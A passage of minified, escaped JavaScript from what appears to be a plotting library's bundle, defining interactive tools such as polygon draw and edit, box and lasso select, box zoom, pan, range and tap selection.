e=i.call(this,t)||this;return e.tool_name=\\\"Polygon Draw Tool\\\",e.icon=\\\"bk-tool-icon-poly-draw\\\",e.event_type=[\\\"pan\\\",\\\"tap\\\",\\\"move\\\"],e.default_order=3,e}return n.__extends(t,i),t.initClass=function(){this.prototype.type=\\\"PolyDrawTool\\\",this.prototype.default_view=a,this.define({drag:[o.Bool,!0],num_objects:[o.Int,0]})},t}(s.PolyTool);(i.PolyDrawTool=l).initClass()},function(t,e,i){var n=t(391),o=t(5),c=t(44),r=t(248),s=function(e){function t(){var t=null!==e&&e.apply(this,arguments)||this;return t._drawing=!1,t}return n.__extends(t,e),t.prototype._doubletap=function(t){if(this.model.active){var e=this._map_drag(t.sx,t.sy,this.model.vertex_renderer);if(null!=e){var i=e[0],n=e[1],r=this._select_event(t,!1,[this.model.vertex_renderer]),o=this.model.vertex_renderer.data_source,s=this.model.vertex_renderer.glyph,a=[s.x.field,s.y.field],l=a[0],h=a[1];if(r.length&&null!=this._selected_renderer){var u=o.selected.indices[0];this._drawing?(this._drawing=!1,o.selection_manager.clear()):(o.selected.indices=[u+1],l&&o.get_array(l).splice(u+1,0,i),h&&o.get_array(h).splice(u+1,0,n),this._drawing=!0),o.change.emit(),this._emit_cds_changes(this._selected_renderer.data_source)}else this._show_vertices(t)}}},t.prototype._show_vertices=function(t){if(this.model.active){var e=this._select_event(t,!1,this.model.renderers);if(!e.length)return this._set_vertices([],[]),this._selected_renderer=null,void(this._drawing=!1);var i,n,r=e[0],o=r.glyph,s=r.data_source,a=s.selected.indices[0],l=[o.xs.field,o.ys.field],h=l[0],u=l[1];h?(i=s.data[h][a],c.isArray(i)||(s.data[h][a]=i=Array.from(i))):i=o.xs.value,u?(n=s.data[u][a],c.isArray(n)||(s.data[u][a]=n=Array.from(n))):n=o.ys.value,this._selected_renderer=r,this._set_vertices(i,n)}},t.prototype._move=function(t){var e;if(this._drawing&&null!=this._selected_renderer){var i=this.model.vertex_renderer,n=i.data_source,r=i.glyph,o=this._map_drag(t.sx,t.sy,i);if(null==o)return;var s=o[0],a=o[1],l=n.selected.indices;e=this._snap_to_vertex(t,s,a),s=e[0],a=e[1],n.selected.indices=l;var h=[r.x.field,r.y.field],u=h[0],c=h[1],_=l[0];u&&(n.data[u][_]=s),c&&(n.data[c][_]=a),n.change.emit(),this._selected_renderer.data_source.change.emit()}},t.prototype._tap=function(t){var e,i=this.model.vertex_renderer,n=this._map_drag(t.sx,t.sy,i);if(null!=n){if(this._drawing&&this._selected_renderer){var r=n[0],o=n[1],s=i.data_source,a=i.glyph,l=[a.x.field,a.y.field],h=l[0],u=l[1],c=s.selected.indices;e=this._snap_to_vertex(t,r,o),r=e[0],o=e[1];var _=c[0];if(s.selected.indices=[_+1],h){var p=s.get_array(h),d=p[_];p[_]=r,p.splice(_+1,0,d)}if(u){var f=s.get_array(u),v=f[_];f[_]=o,f.splice(_+1,0,v)}return s.change.emit(),void this._emit_cds_changes(this._selected_renderer.data_source,!0,!1,!0)}var m=t.shiftKey;this._select_event(t,m,[i]),this._select_event(t,m,this.model.renderers)}},t.prototype._remove_vertex=function(){if(this._drawing&&this._selected_renderer){var t=this.model.vertex_renderer,e=t.data_source,i=t.glyph,n=e.selected.indices[0],r=[i.x.field,i.y.field],o=r[0],s=r[1];o&&e.get_array(o).splice(n,1),s&&e.get_array(s).splice(n,1),e.change.emit(),this._emit_cds_changes(this._selected_renderer.data_source)}},t.prototype._pan_start=function(t){this._select_event(t,!0,[this.model.vertex_renderer]),this._basepoint=[t.sx,t.sy]},t.prototype._pan=function(t){null!=this._basepoint&&(this._drag_points(t,[this.model.vertex_renderer]),this._selected_renderer&&this._selected_renderer.data_source.change.emit())},t.prototype._pan_end=function(t){null!=this._basepoint&&(this._drag_points(t,[this.model.vertex_renderer]),this._emit_cds_changes(this.model.vertex_renderer.data_source,!1,!0,!0),this._selected_renderer&&this._emit_cds_changes(this._selected_renderer.data_source),this._basepoint=null)},t.prototype._keyup=function(t){if(this.model.active&&this._mouse_in_frame){var e;e=this._selected_renderer?[this.model.vertex_renderer]:this.model.renderers;for(var i=0,n=e;i<n.length;i++){var r=n[i];t.keyCode===o.Keys.Backspace?(this._delete_selected(r),this._selected_renderer&&this._emit_cds_changes(this._selected_renderer.data_source)):t.keyCode==o.Keys.Esc&&(this._drawing?(this._remove_vertex(),this._drawing=!1):this._selected_renderer&&this._hide_vertices(),r.data_source.selection_manager.clear())}}},t.prototype.deactivate=function(){this._selected_renderer&&(this._drawing&&(this._remove_vertex(),this._drawing=!1),this._hide_vertices())},t}(r.PolyToolView);i.PolyEditToolView=s;var a=function(i){function t(t){var e=i.call(this,t)||this;return e.tool_name=\\\"Poly Edit Tool\\\",e.icon=\\\"bk-tool-icon-poly-edit\\\",e.event_type=[\\\"tap\\\",\\\"pan\\\",\\\"move\\\"],e.default_order=4,e}return n.__extends(t,i),t.initClass=function(){this.prototype.type=\\\"PolyEditTool\\\",this.prototype.default_view=s},t}(r.PolyTool);(i.PolyEditTool=a).initClass()},function(t,e,i){var n=t(391),r=t(15),a=t(44),o=t(243),s=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return n.__extends(e,t),e.prototype._set_vertices=function(t,e){var i=this.model.vertex_renderer.glyph,n=this.model.vertex_renderer.data_source,r=[i.x.field,i.y.field],o=r[0],s=r[1];o&&(a.isArray(t)?n.data[o]=t:i.x={value:t}),s&&(a.isArray(e)?n.data[s]=e:i.y={value:e}),this._emit_cds_changes(n,!0,!0,!1)},e.prototype._hide_vertices=function(){this._set_vertices([],[])},e.prototype._snap_to_vertex=function(t,e,i){if(this.model.vertex_renderer){var n=this._select_event(t,!1,[this.model.vertex_renderer]),r=this.model.vertex_renderer.data_source,o=this.model.vertex_renderer.glyph,s=[o.x.field,o.y.field],a=s[0],l=s[1];if(n.length){var h=r.selected.indices[0];a&&(e=r.data[a][h]),l&&(i=r.data[l][h]),r.selection_manager.clear()}}return[e,i]},e}(o.EditToolView);i.PolyToolView=s;var l=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"PolyTool\\\",this.prototype.default_view=s,this.define({vertex_renderer:[r.Instance]})},t}(o.EditTool);(i.PolyTool=l).initClass()},function(t,e,i){var v=t(391),n=t(256),r=t(64),o=t(15),s=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return v.__extends(e,t),e.prototype._compute_limits=function(t){var e=this.plot_model.frame,i=this.model.dimensions,n=this._base_point;if(\\\"center\\\"==this.model.origin){var r=n[0],o=n[1],s=t[0],a=t[1];n=[r-(s-r),o-(a-o)]}return this.model._get_dim_limits(n,t,e,i)},e.prototype._pan_start=function(t){var e=t.sx,i=t.sy;this._base_point=[e,i]},e.prototype._pan=function(t){var e=t.sx,i=t.sy,n=[e,i],r=this._compute_limits(n),o=r[0],s=r[1];if(this.model.overlay.update({left:o[0],right:o[1],top:s[0],bottom:s[1]}),this.model.select_every_mousemove){var a=t.shiftKey;this._do_select(o,s,!1,a)}},e.prototype._pan_end=function(t){var e=t.sx,i=t.sy,n=[e,i],r=this._compute_limits(n),o=r[0],s=r[1],a=t.shiftKey;this._do_select(o,s,!0,a),this.model.overlay.update({left:null,right:null,top:null,bottom:null}),this._base_point=null,this.plot_view.push_state(\\\"box_select\\\",{selection:this.plot_view.get_selection()})},e.prototype._do_select=function(t,e,i,n){var r=t[0],o=t[1],s=e[0],a=e[1];void 0===n&&(n=!1);var l={type:\\\"rect\\\",sx0:r,sx1:o,sy0:s,sy1:a};this._select(l,i,n)},e.prototype._emit_callback=function(t){var e=this.computed_renderers[0],i=this.plot_model.frame,n=i.xscales[e.x_range_name],r=i.yscales[e.y_range_name],o=t.sx0,s=t.sx1,a=t.sy0,l=t.sy1,h=n.r_invert(o,s),u=h[0],c=h[1],_=r.r_invert(a,l),p=_[0],d=_[1],f=v.__assign({x0:u,y0:p,x1:c,y1:d},t);this.model.callback.execute(this.model,{geometry:f})},e}(n.SelectToolView);i.BoxSelectToolView=s;var a=function(){return new r.BoxAnnotation({level:\\\"overlay\\\",render_mode:\\\"css\\\",top_units:\\\"screen\\\",left_units:\\\"screen\\\",bottom_units:\\\"screen\\\",right_units:\\\"screen\\\",fill_color:{value:\\\"lightgrey\\\"},fill_alpha:{value:.5},line_color:{value:\\\"black\\\"},line_alpha:{value:1},line_width:{value:2},line_dash:{value:[4,4]}})},l=function(i){function t(t){var e=i.call(this,t)||this;return e.tool_name=\\\"Box Select\\\",e.icon=\\\"bk-tool-icon-box-select\\\",e.event_type=\\\"pan\\\",e.default_order=30,e}return v.__extends(t,i),t.initClass=function(){this.prototype.type=\\\"BoxSelectTool\\\",this.prototype.default_view=s,this.define({dimensions:[o.Dimensions,\\\"both\\\"],select_every_mousemove:[o.Bool,!1],callback:[o.Instance],overlay:[o.Instance,a],origin:[o.String,\\\"corner\\\"]})},Object.defineProperty(t.prototype,\\\"tooltip\\\",{get:function(){return this._get_dim_tooltip(this.tool_name,this.dimensions)},enumerable:!0,configurable:!0}),t}(n.SelectTool);(i.BoxSelectTool=l).initClass()},function(t,e,i){var n=t(391),r=t(251),o=t(64),s=t(15),a=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return n.__extends(e,t),e.prototype._match_aspect=function(t,e,i){var n,r,o,s,a=i.bbox.aspect,l=i.bbox.h_range.end,h=i.bbox.h_range.start,u=i.bbox.v_range.end,c=i.bbox.v_range.start,_=Math.abs(t[0]-e[0]),p=Math.abs(t[1]-e[1]),d=0==p?0:_/p,f=(a<=d?[1,d/a]:[a/d,1])[0];return t[0]<=e[0]?(n=t[0],r=t[0]+_*f,l<r&&(r=l)):(r=t[0],(n=t[0]-_*f)<h&&(n=h)),_=Math.abs(r-n),t[1]<=e[1]?(s=t[1],o=t[1]+_/a,u<o&&(o=u)):(o=t[1],(s=t[1]-_/a)<c&&(s=c)),p=Math.abs(o-s),t[0]<=e[0]?r=t[0]+a*p:n=t[0]-a*p,[[n,r],[s,o]]},e.prototype._compute_limits=function(t){var e,i,n,r,o=this.plot_model.frame,s=this.model.dimensions,a=this._base_point;if(\\\"center\\\"==this.model.origin){var l=a[0],h=a[1],u=t[0],c=t[1];a=[l-(u-l),h-(c-h)]}return this.model.match_aspect&&\\\"both\\\"==s?(e=this._match_aspect(a,t,o),n=e[0],r=e[1]):(i=this.model._get_dim_limits(a,t,o,s),n=i[0],r=i[1]),[n,r]},e.prototype._pan_start=function(t){this._base_point=[t.sx,t.sy]},e.prototype._pan=function(t){var e=[t.sx,t.sy],i=this._compute_limits(e),n=i[0],r=i[1];this.model.overlay.update({left:n[0],right:n[1],top:r[0],bottom:r[1]})},e.prototype._pan_end=function(t){var e=[t.sx,t.sy],i=this._compute_limits(e),n=i[0],r=i[1];this._update(n,r),this.model.overlay.update({left:null,right:null,top:null,bottom:null}),this._base_point=null},e.prototype._update=function(t,e){var i=t[0],n=t[1],r=e[0],o=e[1];if(!(Math.abs(n-i)<=5||Math.abs(o-r)<=5)){var s=this.plot_model.frame,a=s.xscales,l=s.yscales,h={};for(var u in a){var c=a[u],_=c.r_invert(i,n),p=_[0],d=_[1];h[u]={start:p,end:d}}var f={};for(var v in l){var c=l[v],m=c.r_invert(r,o),p=m[0],d=m[1];f[v]={start:p,end:d}}var g={xrs:h,yrs:f};this.plot_view.push_state(\\\"box_zoom\\\",{range:g}),this.plot_view.update_range(g)}},e}(r.GestureToolView);i.BoxZoomToolView=a;var l=function(){return new o.BoxAnnotation({level:\\\"overlay\\\",render_mode:\\\"css\\\",top_units:\\\"screen\\\",left_units:\\\"screen\\\",bottom_units:\\\"screen\\\",right_units:\\\"screen\\\",fill_color:{value:\\\"lightgrey\\\"},fill_alpha:{value:.5},line_color:{value:\\\"black\\\"},line_alpha:{value:1},line_width:{value:2},line_dash:{value:[4,4]}})},h=function(i){function t(t){var e=i.call(this,t)||this;return e.tool_name=\\\"Box Zoom\\\",e.icon=\\\"bk-tool-icon-box-zoom\\\",e.event_type=\\\"pan\\\",e.default_order=20,e}return n.__extends(t,i),t.initClass=function(){this.prototype.type=\\\"BoxZoomTool\\\",this.prototype.default_view=a,this.define({dimensions:[s.Dimensions,\\\"both\\\"],overlay:[s.Instance,l],match_aspect:[s.Bool,!1],origin:[s.String,\\\"corner\\\"]})},Object.defineProperty(t.prototype,\\\"tooltip\\\",{get:function(){return this._get_dim_tooltip(this.tool_name,this.dimensions)},enumerable:!0,configurable:!0}),t}(r.GestureTool);(i.BoxZoomTool=h).initClass()},function(t,e,i){var n=t(391),r=t(241),o=t(265),s=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return n.__extends(e,t),e}(r.ButtonToolView);i.GestureToolView=s;var a=function(i){function t(t){var e=i.call(this,t)||this;return e.button_view=o.OnOffButtonView,e}return n.__extends(t,i),t.initClass=function(){this.prototype.type=\\\"GestureTool\\\"},t}(r.ButtonTool);(i.GestureTool=a).initClass()},function(t,e,i){var l=t(391),n=t(256),r=t(71),o=t(5),s=t(15),a=function(e){function t(){return null!==e&&e.apply(this,arguments)||this}return l.__extends(t,e),t.prototype.initialize=function(t){e.prototype.initialize.call(this,t),this.data=null},t.prototype.connect_signals=function(){var t=this;e.prototype.connect_signals.call(this),this.connect(this.model.properties.active.change,function(){return t._active_change()})},t.prototype._active_change=function(){this.model.active||this._clear_overlay()},t.prototype._keyup=function(t){t.keyCode==o.Keys.Enter&&this._clear_overlay()},t.prototype._pan_start=function(t){var e=t.sx,i=t.sy;this.data={sx:[e],sy:[i]}},t.prototype._pan=function(t){var e=t.sx,i=t.sy,n=this.plot_model.frame.bbox.clip(e,i),r=n[0],o=n[1];this.data.sx.push(r),this.data.sy.push(o);var s=this.model.overlay;if(s.update({xs:this.data.sx,ys:this.data.sy}),this.model.select_every_mousemove){var a=t.shiftKey;this._do_select(this.data.sx,this.data.sy,!1,a)}},t.prototype._pan_end=function(t){this._clear_overlay();var e=t.shiftKey;this._do_select(this.data.sx,this.data.sy,!0,e),this.plot_view.push_state(\\\"lasso_select\\\",{selection:this.plot_view.get_selection()})},t.prototype._clear_overlay=function(){this.model.overlay.update({xs:[],ys:[]})},t.prototype._do_select=function(t,e,i,n){var r={type:\\\"poly\\\",sx:t,sy:e};this._select(r,i,n)},t.prototype._emit_callback=function(t){var e=this.computed_renderers[0],i=this.plot_model.frame,n=i.xscales[e.x_range_name],r=i.yscales[e.y_range_name],o=n.v_invert(t.sx),s=r.v_invert(t.sy),a=l.__assign({x:o,y:s},t);this.model.callback.execute(this.model,{geometry:a})},t}(n.SelectToolView);i.LassoSelectToolView=a;var h=function(){return new r.PolyAnnotation({level:\\\"overlay\\\",xs_units:\\\"screen\\\",ys_units:\\\"screen\\\",fill_color:{value:\\\"lightgrey\\\"},fill_alpha:{value:.5},line_color:{value:\\\"black\\\"},line_alpha:{value:1},line_width:{value:2},line_dash:{value:[4,4]}})},u=function(i){function t(t){var e=i.call(this,t)||this;return e.tool_name=\\\"Lasso Select\\\",e.icon=\\\"bk-tool-icon-lasso-select\\\",e.event_type=\\\"pan\\\",e.default_order=12,e}return l.__extends(t,i),t.initClass=function(){this.prototype.type=\\\"LassoSelectTool\\\",this.prototype.default_view=a,this.define({select_every_mousemove:[s.Bool,!0],callback:[s.Instance],overlay:[s.Instance,h]})},t}(n.SelectTool);(i.LassoSelectTool=u).initClass()},function(t,e,i){var n=t(391),r=t(251),o=t(15),s=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return n.__extends(e,t),e.prototype._pan_start=function(t){this.last_dx=0,this.last_dy=0;var e=t.sx,i=t.sy,n=this.plot_model.frame.bbox;if(!n.contains(e,i)){var r=n.h_range,o=n.v_range;(e<r.start||e>r.end)&&(this.v_axis_only=!0),(i<o.start||i>o.end)&&(this.h_axis_only=!0)}null!=this.model.document&&this.model.document.interactive_start(this.plot_model.plot)},e.prototype._pan=function(t){this._update(t.deltaX,t.deltaY),null!=this.model.document&&this.model.document.interactive_start(this.plot_model.plot)},e.prototype._pan_end=function(t){this.h_axis_only=!1,this.v_axis_only=!1,null!=this.pan_info&&this.plot_view.push_state(\\\"pan\\\",{range:this.pan_info})},e.prototype._update=function(t,e){var i,n,r,o,s,a,l=this.plot_model.frame,h=t-this.last_dx,u=e-this.last_dy,c=l.bbox.h_range,_=c.start-h,p=c.end-h,d=l.bbox.v_range,f=d.start-u,v=d.end-u,m=this.model.dimensions;\\\"width\\\"!=m&&\\\"both\\\"!=m||this.v_axis_only?(i=c.start,n=c.end,r=0):(i=_,n=p,r=-h),\\\"height\\\"!=m&&\\\"both\\\"!=m||this.h_axis_only?(o=d.start,s=d.end,a=0):(o=f,s=v,a=-u),this.last_dx=t,this.last_dy=e;var g=l.xscales,y=l.yscales,b={};for(var x in g){var w=g[x],k=w.r_invert(i,n),S=k[0],C=k[1];b[x]={start:S,end:C}}var T={};for(var A in y){var w=y[A],E=w.r_invert(o,s),S=E[0],C=E[1];T[A]={start:S,end:C}}this.pan_info={xrs:b,yrs:T,sdx:r,sdy:a},this.plot_view.update_range(this.pan_info,!0)},e}(r.GestureToolView);i.PanToolView=s;var a=function(i){function t(t){var e=i.call(this,t)||this;return e.tool_name=\\\"Pan\\\",e.event_type=\\\"pan\\\",e.default_order=10,e}return n.__extends(t,i),t.initClass=function(){this.prototype.type=\\\"PanTool\\\",this.prototype.default_view=s,this.define({dimensions:[o.Dimensions,\\\"both\\\"]})},Object.defineProperty(t.prototype,\\\"tooltip\\\",{get:function(){return this._get_dim_tooltip(\\\"Pan\\\",this.dimensions)},enumerable:!0,configurable:!0}),Object.defineProperty(t.prototype,\\\"icon\\\",{get:function(){switch(this.dimensions){case\\\"both\\\":return\\\"bk-tool-icon-pan\\\";case\\\"width\\\":return\\\"bk-tool-icon-xpan\\\";case\\\"height\\\":return\\\"bk-tool-icon-ypan\\\"}},enumerable:!0,configurable:!0}),t}(r.GestureTool);(i.PanTool=a).initClass()},function(t,e,i){var l=t(391),n=t(256),r=t(71),o=t(5),s=t(15),a=t(21),h=function(e){function t(){return null!==e&&e.apply(this,arguments)||this}return l.__extends(t,e),t.prototype.initialize=function(t){e.prototype.initialize.call(this,t),this.data={sx:[],sy:[]}},t.prototype.connect_signals=function(){var t=this;e.prototype.connect_signals.call(this),this.connect(this.model.properties.active.change,function(){return t._active_change()})},t.prototype._active_change=function(){this.model.active||this._clear_data()},t.prototype._keyup=function(t){t.keyCode==o.Keys.Enter&&this._clear_data()},t.prototype._doubletap=function(t){var e=t.shiftKey;this._do_select(this.data.sx,this.data.sy,!0,e),this.plot_view.push_state(\\\"poly_select\\\",{selection:this.plot_view.get_selection()}),this._clear_data()},t.prototype._clear_data=function(){this.data={sx:[],sy:[]},this.model.overlay.update({xs:[],ys:[]})},t.prototype._tap=function(t){var e=t.sx,i=t.sy,n=this.plot_model.frame;n.bbox.contains(e,i)&&(this.data.sx.push(e),this.data.sy.push(i),this.model.overlay.update({xs:a.copy(this.data.sx),ys:a.copy(this.data.sy)}))},t.prototype._do_select=function(t,e,i,n){var r={type:\\\"poly\\\",sx:t,sy:e};this._select(r,i,n)},t.prototype._emit_callback=function(t){var e=this.computed_renderers[0],i=this.plot_model.frame,n=i.xscales[e.x_range_name],r=i.yscales[e.y_range_name],o=n.v_invert(t.sx),s=r.v_invert(t.sy),a=l.__assign({x:o,y:s},t);this.model.callback.execute(this.model,{geometry:a})},t}(n.SelectToolView);i.PolySelectToolView=h;var u=function(){return new r.PolyAnnotation({level:\\\"overlay\\\",xs_units:\\\"screen\\\",ys_units:\\\"screen\\\",fill_color:{value:\\\"lightgrey\\\"},fill_alpha:{value:.5},line_color:{value:\\\"black\\\"},line_alpha:{value:1},line_width:{value:2},line_dash:{value:[4,4]}})},c=function(i){function t(t){var e=i.call(this,t)||this;return e.tool_name=\\\"Poly Select\\\",e.icon=\\\"bk-tool-icon-polygon-select\\\",e.event_type=\\\"tap\\\",e.default_order=11,e}return l.__extends(t,i),t.initClass=function(){this.prototype.type=\\\"PolySelectTool\\\",this.prototype.default_view=h,this.define({callback:[s.Instance],overlay:[s.Instance,u]})},t}(n.SelectTool);(i.PolySelectTool=c).initClass()},function(t,e,i){var n=t(391),_=t(64),r=t(14),o=t(15),s=t(251);function p(t,e,i,n){if(null==e)return!1;var r=i.compute(e);return Math.abs(t-r)<n}function d(t,e,i,n,r){var o=!0;if(null!=r.left&&null!=r.right){var s=i.invert(t);(s<r.left||s>r.right)&&(o=!1)}if(null!=r.bottom&&null!=r.top){var a=n.invert(e);(a<r.bottom||a>r.top)&&(o=!1)}return o}function l(t,e,i,n){var r=e.compute(t),o=e.invert(r+i);return o>=n.start&&o<=n.end?o:t}function h(t,e,i,n){var r=e.r_compute(t.start,t.end),o=r[0],s=r[1],a=e.r_invert(o+i,s+i),l=a[0],h=a[1];l>=n.start&&l<=n.end&&h>=n.start&&h<=n.end&&(t.start=l,t.end=h)}i.is_near=p,i.is_inside=d,i.compute_value=l,i.update_range=h;var a=function(e){function t(){return null!==e&&e.apply(this,arguments)||this}return n.__extends(t,e),t.prototype.initialize=function(t){e.prototype.initialize.call(this,t),this.side=0,this.model.update_overlay_from_ranges()},t.prototype.connect_signals=function(){var t=this;e.prototype.connect_signals.call(this),null!=this.model.x_range&&this.connect(this.model.x_range.change,function(){return t.model.update_overlay_from_ranges()}),null!=this.model.y_range&&this.connect(this.model.y_range.change,function(){return t.model.update_overlay_from_ranges()})},t.prototype._pan_start=function(t){this.last_dx=0,this.last_dy=0;var e=this.model.x_range,i=this.model.y_range,n=this.plot_model.frame,r=n.xscales.default,o=n.yscales.default,s=this.model.overlay,a=s.left,l=s.right,h=s.top,u=s.bottom,c=this.model.overlay.properties.line_width.value()+_.EDGE_TOLERANCE;null!=e&&this.model.x_interaction&&(p(t.sx,a,r,c)?this.side=1:p(t.sx,l,r,c)?this.side=2:d(t.sx,t.sy,r,o,s)&&(this.side=3)),null!=i&&this.model.y_interaction&&(0==this.side&&p(t.sy,u,o,c)&&(this.side=4),0==this.side&&p(t.sy,h,o,c)?this.side=5:d(t.sx,t.sy,r,o,this.model.overlay)&&(3==this.side?this.side=7:this.side=6))},t.prototype._pan=function(t){var e=this.plot_model.frame,i=t.deltaX-this.last_dx,n=t.deltaY-this.last_dy,r=this.model.x_range,o=this.model.y_range,s=e.xscales.default,a=e.yscales.default;null!=r&&(3==this.side||7==this.side?h(r,s,i,e.x_range):1==this.side?r.start=l(r.start,s,i,e.x_range):2==this.side&&(r.end=l(r.end,s,i,e.x_range))),null!=o&&(6==this.side||7==this.side?h(o,a,n,e.y_range):4==this.side?o.start=l(o.start,a,n,e.y_range):5==this.side&&(o.end=l(o.end,a,n,e.y_range))),this.last_dx=t.deltaX,this.last_dy=t.deltaY},t.prototype._pan_end=function(t){this.side=0},t}(s.GestureToolView);i.RangeToolView=a;var u=function(){return new _.BoxAnnotation({level:\\\"overlay\\\",render_mode:\\\"css\\\",fill_color:\\\"lightgrey\\\",fill_alpha:{value:.5},line_color:{value:\\\"black\\\"},line_alpha:{value:1},line_width:{value:.5},line_dash:[2,2]})},c=function(i){function t(t){var e=i.call(this,t)||this;return e.tool_name=\\\"Range Tool\\\",e.icon=\\\"bk-tool-icon-range\\\",e.event_type=\\\"pan\\\",e.default_order=1,e}return n.__extends(t,i),t.initClass=function(){this.prototype.type=\\\"RangeTool\\\",this.prototype.default_view=a,this.define({x_range:[o.Instance,null],x_interaction:[o.Bool,!0],y_range:[o.Instance,null],y_interaction:[o.Bool,!0],overlay:[o.Instance,u]})},t.prototype.initialize=function(){i.prototype.initialize.call(this),this.overlay.in_cursor=\\\"grab\\\",this.overlay.ew_cursor=null!=this.x_range&&this.x_interaction?\\\"ew-resize\\\":null,this.overlay.ns_cursor=null!=this.y_range&&this.y_interaction?\\\"ns-resize\\\":null},t.prototype.update_overlay_from_ranges=function(){null==this.x_range&&null==this.y_range&&(this.overlay.left=null,this.overlay.right=null,this.overlay.bottom=null,this.overlay.top=null,r.logger.warn(\\\"RangeTool not configured with any Ranges.\\\")),null==this.x_range?(this.overlay.left=null,this.overlay.right=null):(this.overlay.left=this.x_range.start,this.overlay.right=this.x_range.end),null==this.y_range?(this.overlay.bottom=null,this.overlay.top=null):(this.overlay.bottom=this.y_range.start,this.overlay.top=this.y_range.end)},t}(s.GestureTool);(i.RangeTool=c).initClass()},function(t,e,i){var y=t(391),n=t(251),o=t(186),r=t(271),s=t(15),a=t(5),b=t(3),l=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return y.__extends(e,t),Object.defineProperty(e.prototype,\\\"computed_renderers\\\",{get:function(){var t=this.model.renderers,e=this.plot_model.plot.renderers,i=this.model.names;return r.compute_renderers(t,e,i)},enumerable:!0,configurable:!0}),e.prototype._computed_renderers_by_data_source=function(){for(var t={},e=0,i=this.computed_renderers;e<i.length;e++){var n=i[e],r=void 0;(r=n instanceof o.GraphRenderer?n.node_renderer.data_source.id:n.data_source.id)in t||(t[r]=[]),t[r].push(n)}return t},e.prototype._keyup=function(t){if(t.keyCode==a.Keys.Esc){for(var e=0,i=this.computed_renderers;e<i.length;e++){var n=i[e],r=n.data_source,o=r.selection_manager;o.clear()}this.plot_view.request_render()}},e.prototype._select=function(t,e,i){var n=this._computed_renderers_by_data_source();for(var r in n){for(var o=n[r],s=o[0].get_selection_manager(),a=[],l=0,h=o;l<h.length;l++){var u=h[l];u.id in this.plot_view.renderer_views&&a.push(this.plot_view.renderer_views[u.id])}s.select(a,t,e,i)}null!=this.model.callback&&this._emit_callback(t),this._emit_selection_event(t,e)},e.prototype._emit_selection_event=function(t,e){void 0===e&&(e=!0);var i,n=this.plot_model.frame.xscales.default,r=this.plot_model.frame.yscales.default;switch(t.type){case\\\"point\\\":var o=t.sx,s=t.sy,a=n.invert(o),l=r.invert(s);i=y.__assign({},t,{x:a,y:l});break;case\\\"rect\\\":var h=t.sx0,u=t.sx1,c=t.sy0,_=t.sy1,p=n.r_invert(h,u),d=p[0],f=p[1],v=r.r_invert(c,_),m=v[0],g=v[1];i=y.__assign({},t,{x0:d,y0:m,x1:f,y1:g});break;case\\\"poly\\\":var o=t.sx,s=t.sy,a=n.v_invert(o),l=r.v_invert(s);i=y.__assign({},t,{x:a,y:l});break;default:throw new Error(\\\"Unrecognized selection geometry type: '\\\"+t.type+\\\"'\\\")}this.plot_model.plot.trigger_event(new b.SelectionGeometry({geometry:i,final:e}))},e}(n.GestureToolView);i.SelectToolView=l;var h=function(e){function t(t){return e.call(this,t)||this}return y.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"SelectTool\\\",this.define({renderers:[s.Any,\\\"auto\\\"],names:[s.Array,[]]})},t}(n.GestureTool);(i.SelectTool=h).initClass()},function(t,e,i){var x=t(391),n=t(256),r=t(15),w=t(44),o=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return x.__extends(e,t),e.prototype._tap=function(t){var e=t.sx,i=t.sy,n={type:\\\"point\\\",sx:e,sy:i},r=t.shiftKey;this._select(n,!0,r)},e.prototype._select=function(t,e,i){var n=this,r=this.model.callback;if(\\\"select\\\"==this.model.behavior){var o=this._computed_renderers_by_data_source();for(var s in o){var a=o[s],l=a[0].get_selection_manager(),h=a.map(function(t){return n.plot_view.renderer_views[t.id]}),u=l.select(h,t,e,i);if(u&&null!=r){var c=this.plot_model.frame,_=c.xscales[a[0].x_range_name],p=c.yscales[a[0].y_range_name],d=_.invert(t.sx),f=p.invert(t.sy),v=x.__assign({},t,{x:d,y:f}),m={geometries:v,source:l.source};w.isFunction(r)?r(this,m):r.execute(this,m)}}this._emit_selection_event(t),this.plot_view.push_state(\\\"tap\\\",{selection:this.plot_view.get_selection()})}else for(var g=0,y=this.computed_renderers;g<y.length;g++){var b=y[g],l=b.get_selection_manager(),u=l.inspect(this.plot_view.renderer_views[b.id],t);if(u&&null!=r){var c=this.plot_model.frame,_=c.xscales[b.x_range_name],p=c.yscales[b.y_range_name],d=_.invert(t.sx),f=p.invert(t.sy),v=x.__assign({},t,{x:d,y:f}),m={geometries:v,source:l.source};w.isFunction(r)?r(this,m):r.execute(this,m)}}},e}(n.SelectToolView);i.TapToolView=o;var s=function(i){function t(t){var e=i.call(this,t)||this;return e.tool_name=\\\"Tap\\\",e.icon=\\\"bk-tool-icon-tap-select\\\",e.event_type=\\\"tap\\\",e.default_order=10,e}return x.__extends(t,i),t.initClass=function(){this.prototype.type=\\\"TapTool\\\",this.prototype.default_view=o,this.define({behavior:[r.String,\\\"select\\\"],callback:[r.Any]})},t}(n.SelectTool);(i.TapTool=s).initClass()},function(t,e,i){var n=t(391),r=t(251),o=t(15),s=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return n.__extends(e,t),e.prototype._scroll=function(t){var e=this.model.speed*t.delta;.9<e?e=.9:e<-.9&&(e=-.9),this._update_ranges(e)},e.prototype._update_ranges=function(t){var e,i,n,r,o=this.plot_model.frame,s=o.bbox.h_range,a=o.bbox.v_range,l=[s.start,s.end],h=l[0],u=l[1],c=[a.start,a.end],_=c[0],p=c[1];switch(this.model.dimension){case\\\"height\\\":var d=Math.abs(p-_);e=h,i=u,n=_-d*t,r=p-d*t;break;case\\\"width\\\":var f=Math.abs(u-h);e=h-f*t,i=u-f*t,n=_,r=p;break;default:throw new Error(\\\"this shouldn't have happened\\\")}var v=o.xscales,m=o.yscales,g={};for(var y in v){var b=v[y],x=b.r_invert(e,i),w=x[0],k=x[1];g[y]={start:w,end:k}}var S={};for(var C in m){var b=m[C],T=b.r_invert(n,r),w=T[0],k=T[1];S[C]={start:w,end:k}}var 